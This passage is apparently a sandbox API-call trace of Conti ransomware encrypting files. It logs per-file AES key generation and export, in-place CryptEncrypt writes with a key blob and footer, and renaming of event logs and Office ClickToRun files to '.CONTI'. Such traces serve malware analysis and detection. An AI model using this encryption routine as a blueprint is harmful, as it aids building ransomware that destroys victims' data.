	[0096.470] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.CONTI"
	[0096.470] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.conti")) returned 1
	[0096.471] GetProcessHeap () returned 0x1720000
	[0096.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.471] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0096.471] GetProcessHeap () returned 0x1720000
	[0096.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741300 | out: hHeap=0x1720000) returned 1
	[0096.471] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0096.471] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d7690 | out: phKey=0x17d7690*=0x17c8270) returned 1
	[0096.471] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d7694, pdwDataLen=0x54bfc14 | out: pbData=0x17d7694*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0097.435] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20
	[0097.436] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0097.436] GetLastError () returned 0x0
	[0097.436] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=69632) returned 1
	[0097.436] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0097.436] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.436] SetEndOfFile (hFile=0x30c) returned 1
	[0097.436] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.436] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.436] WriteFile (in: hFile=0x30c, lpBuffer=0x17d7694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d7694*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0097.437] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.437] ReadFile (in: hFile=0x30c, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x11000, lpOverlapped=0x0) returned 1
	[0097.440] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11010) returned 1
	[0097.440] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.440] WriteFile (in: hFile=0x30c, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x11010, lpOverlapped=0x0) returned 1
	[0097.441] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.441] WriteFile (in: hFile=0x30c, lpBuffer=0x17d7688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d7688*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0097.441] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.441] CloseHandle (hObject=0x30c) returned 1
	[0097.443] GetProcessHeap () returned 0x1720000
	[0097.443] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.443] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx"
	[0097.443] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.CONTI"
	[0097.443] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.conti")) returned 1
	[0097.444] GetProcessHeap () returned 0x1720000
	[0097.444] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.444] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0097.444] GetProcessHeap () returned 0x1720000
	[0097.444] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740a78 | out: hHeap=0x1720000) returned 1
	[0097.444] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0099.159] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17e7910 | out: phKey=0x17e7910*=0x17c8370) returned 1
	[0099.159] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7914, pdwDataLen=0x54bfc14 | out: pbData=0x17e7914*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0099.160] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash")) returned 0x20
	[0099.160] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0099.160] GetLastError () returned 0x0
	[0099.160] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=102) returned 1
	[0099.160] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66
	[0099.160] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.161] SetEndOfFile (hFile=0x3ac) returned 1
	[0101.779] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.779] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.779] WriteFile (in: hFile=0x3ac, lpBuffer=0x17e7914*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17e7914*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0102.761] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.761] ReadFile (in: hFile=0x3ac, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x66, lpOverlapped=0x0) returned 1
	[0102.761] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x66, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x70) returned 1
	[0102.761] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.761] WriteFile (in: hFile=0x3ac, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x70, lpOverlapped=0x0) returned 1
	[0102.761] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.762] WriteFile (in: hFile=0x3ac, lpBuffer=0x17e7908*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17e7908*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0102.762] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.762] CloseHandle (hObject=0x3ac) returned 1
	[0103.469] GetProcessHeap () returned 0x1720000
	[0103.469] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6575ed8
	[0103.470] lstrcpyW (in: lpString1=0x6575ed8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash"
	[0103.470] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.CONTI"
	[0103.470] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash.conti")) returned 1
	[0103.616] GetProcessHeap () returned 0x1720000
	[0103.616] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6575ed8 | out: hHeap=0x1720000) returned 1
	[0103.618] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0103.618] GetProcessHeap () returned 0x1720000
	[0103.618] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbff8 | out: hHeap=0x1720000) returned 1
	[0103.618] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.618] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17c5100 | out: phKey=0x17c5100*=0x17c8370) returned 1
	[0103.618] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5104, pdwDataLen=0x54bfc14 | out: pbData=0x17c5104*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.620] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml")) returned 0x20
	[0103.653] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.653] GetLastError () returned 0x0
	[0103.653] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=19018) returned 1
	[0103.653] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4a4a
	[0103.653] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.653] SetEndOfFile (hFile=0x3b4) returned 1
	[0103.655] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.655] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.655] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c5104*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17c5104*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.663] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.663] ReadFile (in: hFile=0x3b4, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x4a4a, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x4a4a, lpOverlapped=0x0) returned 1
	[0103.666] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x4a4a, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x4a50) returned 1
	[0103.666] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.666] WriteFile (in: hFile=0x3b4, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x4a50, lpOverlapped=0x0) returned 1
	[0103.666] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.666] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c50f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17c50f8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0103.666] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.666] CloseHandle (hObject=0x3b4) returned 1
	[0103.666] GetProcessHeap () returned 0x1720000
	[0103.666] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.666] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml"
	[0103.666] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.CONTI"
	[0103.666] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml.conti")) returned 1
	[0103.667] GetProcessHeap () returned 0x1720000
	[0103.667] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.667] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0103.667] GetProcessHeap () returned 0x1720000
	[0103.667] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d19e8 | out: hHeap=0x1720000) returned 1
	[0103.667] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.667] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17e8fe0 | out: phKey=0x17e8fe0*=0x17c7f70) returned 1
	[0103.667] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e8fe4, pdwDataLen=0x54bfc14 | out: pbData=0x17e8fe4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.668] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.671] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.671] GetLastError () returned 0x0
	[0103.671] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=720348) returned 1
	[0103.671] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xafddc
	[0103.671] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.671] SetEndOfFile (hFile=0x3b4) returned 1
	[0103.674] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.674] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.674] WriteFile (in: hFile=0x3b4, lpBuffer=0x17e8fe4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17e8fe4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.677] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.677] ReadFile (in: hFile=0x3b4, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0xafddc, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0xafddc, lpOverlapped=0x0) returned 1
	[0103.692] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0xafddc, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0xafde0) returned 1
	[0103.693] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.693] WriteFile (in: hFile=0x3b4, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0xafde0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0xafde0, lpOverlapped=0x0) returned 1
	[0103.695] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.695] WriteFile (in: hFile=0x3b4, lpBuffer=0x17e8fd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17e8fd8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0103.695] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.695] CloseHandle (hObject=0x3b4) returned 1
	[0103.695] GetProcessHeap () returned 0x1720000
	[0103.695] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.695] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml"
	[0103.695] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.CONTI"
